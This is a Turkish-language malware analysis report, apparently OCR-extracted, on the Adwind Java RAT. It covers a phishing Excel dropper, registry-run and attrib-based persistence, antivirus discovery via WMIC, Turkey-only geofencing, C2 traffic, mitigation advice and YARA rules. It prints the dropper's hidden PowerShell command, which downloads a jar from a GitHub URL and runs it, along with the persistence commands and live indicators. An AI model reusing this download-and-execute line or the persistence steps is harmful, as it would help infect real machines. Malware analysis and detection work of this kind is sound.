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ICINDEKILER

RAT ve Trojan tirindeki ADWIND zararlisina ait dosya yollari, Registry kayitlari, tutulan
loglar, tim indikatorler ve Turkiye drnekleri ile ilgili bilgiler ayrintilh bir sekilde analiz edilip

raporlanmistir.
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Giris

RAT tiriindeki Adwind zararlisinin gelistiricisi Meksika tabanli ispanyol bir hacker olup
2012 yilinin baslarinda Adwind ailesinde yer alan “Frutas” adli java tabanl uzaktan
erisim araci (RAT) satmaya basladi. ilerleyen yillarda en az yedi kez degistirildi ve
Adwind, UnReCoM, Alien Spy, JSocket, JBifrots, UnknownRat ve JConnectPro
isimleri ile piyasaya surulda.

Tek bir kétd amacli yazihm platformu aracihdiyla dagitilan ve gapraz platformlu, gok
islevli bir koti amacli yazilim programi olan Adwind RAT"I diger ticari kdtl amacli
yaziimlardan ayiran ana ozelliklerden biri, internet Gzerinden satigi yapiimasidir.
“‘Musterinin” kotu amacl programin kullanimi karsiliginda bir Gcret 6dedigi Ucretli bir
hizmet seklinde acikga dagitimasidir. 2015 yili sonunda sistemin yaklasik 1.800
kullanicisi vardi. Bu, onu bugin var olan en blyuk kéti amacgh yazilim platformlarindan
biri haline getiriyor.

2013 ve 2016 yillari arasinda, Adwind’in farkli suramleri, dinyadaki en az 443.000 6zel
kullaniciya, ticari ve ticari olmayan kurulusa ydnelik saldirilarda kullaniimistir.

11 Ocak 2012 tarihinde “adwind” isimli “indetectables[.]net” forumkullanicisi “Frutas
RAT” hakkinda bir yazi paylagsmisti. Yazdid1 yazida Frutas RAT projesine basladigi ve
yavas yavas ilerledigini ¢iinkl her seyi tek basina yaptigini herhangi bir 3. parti kod
kullanmadigini ve gelistirme ortami olarak NETBEANS kullandigini yazmistir. Forumdaki
bu kullanici 2012 yili boyunca Frutas RAT igin gesitli guncellemeler yayinlamistir. Aralik
2012 tarihinden itibaren licretsiz olan “Frutas RAT” 1 “Adwind RAT” olarak degistirmis
ve ucretli yapmistir.

2013 yilinin baslarinda yeniden adi degistirilen Adwind RAT Skype veya mail gibi gesitli
iletisim yollari ile satisa sunuldu. ilk ¢ikisinda 55$ bir fiyatla ¢glkan Adwind RAT 15
Subat’tan itibaren fiyatinin artip 100$ olacagi da belirtiimistir. 2013 yilinda yapilan
glncelleme ile Android destegi de saglanmistir. Bircok 6zelliginin bulunmasi ve ¢ogu
platformda calismasindan dolayi kisa bir sirede dinya genelinde ¢ok ilgi géren bir arag
haline gelmistir. Bu populerlikle birlikte Adwind RAT’In gelistiricisi bir Youtube kanali acip
bu kanal Uzerinden Adwind RAT’In dgretici videolarini nasil kullanildidi gibi bilgileri
paylasmistir. Ayni yil icinde Adwind RAT ilk kez Pasifik Asya’da hedefli bir saldirida
kullaniimistir. Kasim 2013'te, kétl amacl yazlim UNRECOM olarak yeniden adlandirildi.
Adwind’in yeniden markalasan bu sirimua tim eski 6zelliklerini korumaya devam etti.

2014 yilinda, Adwind'in kaynak kodu sizdirildi ve ¢evrimici Ucretsiz olarak kullanilabilir
hale geldi. Sizintiya karsilik olarak Adwind Trojan'in “resmi” strimua Ekim 2014'te
AlienSpy olarak dnemli dlctide yukseltildi ve yeniden yayinlandi. Kéti amacli yazilimin
bu sirimi sandbox sistemleri algilamayi, kontrol sunucusuyla kriptografik olarak




guvenli iletisim ve antivirlis programlarini otomatik tespit etme, devre digi birakma gibi
cesitli 6zellikler kazand..

Rapor.xlsx Dosya analizi

Dosya Adi Rapor.xIsx

Md5 5ba62c034584b88e44b5364e4131671c

Shal b4a8dfe2eebaf436c021458e515baf39ed812740

Sha256 9e61a8cf313337d2b72fc463164afc2e332fa26fdal45c18fc6de6acd68af7db

Adwind zararlisi sistem Uzerinde 6nce phishing saldirilar ile Excel dokimani olarak
gelmektedir. Kurbana gdnderilen farkh igerikteki maillere ek olarak goénderilen Excel
dokimani kurban tarafindan ilk acidiginda karsisina “igerigi etkinlestirmeniz
gerekmekte” uyarisi ile birlikte anlamsiz karakterlerin bulundugu bir Excel sayfasi
clkmaktadir.
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Bu uyaridan sonra Excel dokimani alt hucrelerine gizlenmis olan bir script kodunu
calistrmak amaciyla cmd.exe uygulamasini ¢aligtirmak igin izin istemektedir.

Bu kod pargasi GitHub Uzerinden asil zararl kodu indirerek hi¢bir kullanici iznine gerek
duymadan ve ekrana bir konsol penceresi agmadan calistrmaktadir. Bu kod pargasi,
Excel dokimaninin degerlerine baktigimizda karsimiza ¢ikmaktadir.




72 00 ©?333333067......
0 6F ....@.<cmd./c po
iS5 74 wershell -execut
73 73 donpolicy bypass
5D &D -W Hidden -comm
5F 62 and "& { (new-ob
74 ZE Jject System.MNet.
53E 6C WebClient) .Downl
73 3L oadFile(\"https=:
a5 72 Jfraw.githubuser
30 38 content.com/5308
83 72 eE82/4vbagd4ddmtcr
75 83 all/gh-pages/wac
3C 22 gvijecwgpv.svgh"
18, 54 LW SEmp3\\ACTT

35 74 U.jar\") " & 3t
23 00 mpE\MNACIIU.jaxs.

iE 59 ..&...... Y215THY
J2 0OR FYRFQPEU........
10 00 e
L

Ik zararll dosyamiz olan bu Excel dékiimani, dropper gérevi olarak zararli kodu
indirmek haricinde herhangi bir zararli iglem yapmamaktadir.

Adwind.jar Dosya analizi

Dosya Adi Adwind.jar

Md5 8961392f55bdbfaa4 8c906ab5594 afe 3

Shal 8cal9bebe64bc1f8a2b5e50d4883f8 1d58a9f9fc

Sha256 c52f88bc3da6ece73dbed459115b2fbdfadleffc4313eabe5cf4ad9bb162b916d0

ipdirilen zararl dosyamiz olan adwind.jar dosyasi ise asil zararli islemleri yapmaktadir.
Oncelikle sistem Uzerinde ¢alistirldiginda kendisinin bir obfuscate araci olan allatori

ile obfuscate edildigini gormekteyiz.
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Kendisini obfuscate ederek anti-virisler ve analistler tarafindan tespitini
zorlastrmaktadir. Daha sonra sistem Uzerinde c¢alistiginda bazi kontroller
yapmaktadir. Bu kontroller network Gzerinden Public IP tespiti ve IP’nin Ulke tespitidir.
Bu kontrollerden gegtikten sonra sistem Uzerinde zararli aktivitelerine baslamaktadir.

Ik olarak Shell tizerinde komutlar galistirarak sistemde kalicllk saglama ve komuta
kontrol sunucularina bilgi verme gibi igslemler yapmaktadir. Bu amagcla sistem Uzerinde
bulunan Java programinin kurulu oldugu dizinine erisim igin dizinin erisim yetkilerini
degistirmektedir.

"%WinDir%\system32\icacls.exe %AllUsersProfile%\Oracle\Java\.oracle_jre usage /grant
veryone:(OI)(CI)M"

Bu izinleri aldiktan sonra kendini bilgisayar her acildiinda baslatabilmek icin baslangica
yazmaktadir. Kendine konum olarak kullanicinin ev dizini altinda “\AppData\Roaming” dizinine
olusturdugu ‘Uninstaller’ klasériini segmektedir

rax: Ci\\Program Files\\Java\\jrei.8.0_251\\bin\\Javaw. exe -jar - sers\\ceku\\Appoata\\Roaming
rdx:t C:\\Program Files\\Java\\Jjrei.8.0_251\\bin\\Javaw.exe -jar C:\\Users\\ceku\\AppData\\Roaming




"reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v
JavaSun_Uninstall_00001_00002 /t REG_SZ /d
\%ProgramFiles%\Java\jre1.8.0_251\bin\javaw.exe\ -jar
\%AppData%\Uninstall\Uninstall.Uninstaller\ /f"

®v| . v ceku » AppData » Roaming » Uninstall

Dizenle - Kitapliga ekle - Bununla paylas = Yaz Yeni klasar

Y Sik Kullanilanlar Ad Degistirme tarihi Tir Boyut
A2 ceku 4 | Desktop.ini 15.07.2020 22:32 Yapilandirma ayarlan 1KB
4 Kargidan Yaklemeler | | Uninstall.Uninstaller 15.07.2020 22:32 UNINSTALLER Dosyasi 312 KB
Bl Masadstd

U
1= Son Yerler

Kendini baglangic dizinine eklemesinin ardindan kendi bulundugu dizinini Windows
sistemlerde bulunan “atrib.exe” araci ile kullanicidan gizlemek igin “+h” parametresiile gizi
dosya, Uzerinde yapilabilecek degisiklikleri engellemek igin “+r” ile sadece okuma iznini ve
sistem dosyasi olarak algilanmak icin “+s” ile sistem dosyasi olarak ayarlamaktadir.

attrib +s +h +r %AppData%\Uninstall\*.*

attrib +s +h +r %AppData%\Uninstall

CreateProcessw

rdx: L"attrib +5 +h +r \"C:'M\Users'hcekuhappDataRoaming ' huninstal 1y =. ="
rdx:L"attrib +5 +h +r \"C:'\\Users')cekuhappDatasRoaming '\ uninstal iy =. =\ "




Bu igslemlerin ardindan sistem Uzerinde artik kalicihdini ve erigimini saglamis olmaktadir.

%ProgramFiles%\Java\jre1.8.0_251\bin\javaw.exe -jar %AppData%\Uninstall\Uninstall.Uninstaller

Zararli, kendisini galistirir calistirmaz sistemuzerinde ¢alisan AV yazlimlarinin tespitiigcin WMI
yardimci programi WMIC.exe uygulamasini kullanmaktadir.

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get
displayName /Format:List

Bu iglemlerin ardindan kullanicinin ev dizininde olusturmus oldugu “Uninstall” dosyasini
gizlemektedir.

attrib +H %UserProfile%\.Uninstall

Adwind.jar Network Analizi

Zararli, sisteme ilk girdigi anda bazi kontroller yapmaktadir ve bilgiler toplamaktadir. Bu
kontrollerden sonra sisteme enfekte olmaya karar verip komuta kontrol sunucusu ile iletisime
gecmektedir.

Ik olarak kurban sistemin Public IP adresini tespit etmek icin Amazon servislerini
kullanmaktadir. http://checkip[.Jamazonaws[.Jcom adresi Uzerinden kurban sistemin IP adresini
tespit etmektedir.

M Wireshark - Follow TCP Stream (tcp.stream eq 0) - Verel Ag Baglantisi

GET / HTTP/1.1

User-Agent: Java/1.8.8_251

Host: checkip.amazonaws.com

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; g=.2
Connection: keep-alive

HTTP/1.1 288 OK

Date: Tue, 14 Jul 2828 16:18:39 GMT
Server: lighttpd/1.4.53
Content-Length: 15

Connection: keep-alive

r



http://checkip[.]amazonaws[.]com/

Buradan aldidi IP adresini ipinfo[.]Jio sitesinin API'sini kullanarak kurbanin bulundugu tlkeyi
tespit etmektedir. Zararli Tlrkiye konumunu hedef almaktadir. Ulke kodu TR harici ise
calismamaktadir.

Wireshark . Follow TCP Stream (tcp.stream eq 1) - Yerel Ag Baglantis:
P eq

GET /1. .3fcountry HTTP/1.1

User-Agent: Java/1.8.@8 251

Host: ipinfo.io

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; g=.2
Connection: keep-alive

HTTP/1.1 288 OK

Date: Tue, 14 Jul 2828 16:18:39 GMT
Content-Type: text/html; charset=utf-3
Content-Length: 3

Access-Control-Allow-Origin: *

X-Frame-Options: DENY

X-Xs5-Protecticon: 1; mode=block
X-Content-Type-Options: nosniff

Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: flash=; Path=/; Expires=Thu, @1 Jan 1978 G8:88:88 GMT
Via: 1.1 google

Expires: Tue, 14 Jul 2628 16:18:39 GMT
Cache-Control: private

TR

Bu islemlerini ardindan sistem Uzerindeki zararl aktivitelerini gergceklestirmekte ve komuta
kontrol sunucusu olan 21736[.]xyz domaini ile iletisime ge¢gmektedir.

Time Source Destination Protocol  Length Info
41 3.861187 192.168.142.138 192.168.142.2 DNS 69 Standard query @xcéed A 21736.xyz
42 3.197964 192.168.142.2 192.168.142.138 DNS 85 iStandard query response Bxc@ed A 21736.xyz A 184.168.172.6

Ancak komuta kontrol sunucusu artik erigsime kapalidir.

| £ javaw.exe:1936 Properties

| Image I Performance | Performance Graph I Disk and Metwork I GPU Graph I Threads| TCP/IP |Sec|,|rit5|I I Environment I Strings|

Resolve addresses

F‘rofc Local Address Remote Address State




Cozum Onerileri

- Sistemlerde glncel, guvenilir bir antiviris yazilimin kullaniimasi,

- Gelen maillerin 6zenle okunmasi, iginde bulunan eklerin taramadan gegcirilmeden
acllmamasi,

- Spam maillerin dikkate alinmamasi,

- internet Gizerinde dolasim yaparken phishing iceriklere dikkat edilmesi,

- lIsletim sisteminde bulunan en son giincellemelerin yiikli olmasi,

- Sistem Uzerindeki calisan processlerin yaptii islemler ve agd hareketlerinin
izlenmesi

- Ag uzerinde zararli baglantikuran, IP adresleri, domainler ve C&C sunucularinn
adreslerinin filtrelenmesi gibi Uretilen ¢dzimler, RAT tlrindeki ADWIND
zararhisinin sisteme bulagsmasini ve zarar vermesini engelleyebilmektedir.




Yara Kurali

import "hash"
rule Rapor: xlsx

{

meta:
description = "Adwind RAT Trojan"
first_date ="13.05.2020"
report_date="18.07.2020"
file_name ="Rapor.xlsx"

strings:

$s1={63 6D 64 03 2F 6320 70 6F 77 6572 73 68 65 6C 6C 20 2D 65 78 65 63 7574
69 6F 6E 70 6F 6C 6963 792062 79 7061 73 73 20 2D 57 20 48 69 64 64 65 6E 20 2D 63 6F 6D 6D
61 6E 64 2022 26 20 7B 20 28 6E 65 77 2D 6F 62 6A 6563 7420 5379 73 74 65 6D 2E4E 65 74 2E
57656243 6C 69 65 6E 74 29 2E 44 6F 77 6E6C 6F 61 64 46 69 6C 65 285C 2268 74 74 70 73 3A
2F2F 726177 2E 67697468 756275 73657263 6F 6E 74 65 6E 74 2E 63 6F 6D 2F 3533 30 38
3638322F34796261383434346D 7463726131312F67682D 706167 65732F 777563
67 79336A 6563776770 762E7376675C22202C5C222025746D70255C5C41434A54
552E 6A61 725C2229207D 2220262025746D 70255C5C 4143 4A 5455 2E6A 617223 00
1500 E2 7F 00 00 00 00 OE 59 32 31 3549 4E 59 46 59 52 46 51 50 45 55}

$s2 = "https://raw.githubusercontent.com/5308682/4yba8444mtcrall/gh-
pages/wucgy3jecwgpv.svg"

condition:

hash.md5(0,filesize) == "5ba62c034584b88e44b5364e4131671c" or $s1 or $s2




rule Adwind: java
{
meta:
description = "Adwind RAT Trojan"
first_date ="13.05.2020"
report_date="18.07.2020"
file_name ="Adwind.jar"
strings:
$s1="16245"
$s2 = "A$D.class"
$s3 = "A.class"
$s4 = "B.class"
$s5="C.class"
$s6 = "D$A.class"
$s7 ="D.class"
$s8 = "u2Br3cvUkb"
$s9 = "c.class"”
$s10 = "n.class"
$s11 ="mny\\zsh"
condition:

hash.md5(0,filesize) =="8961392f55bdbfaa48c906ab5594afe3" or all of them




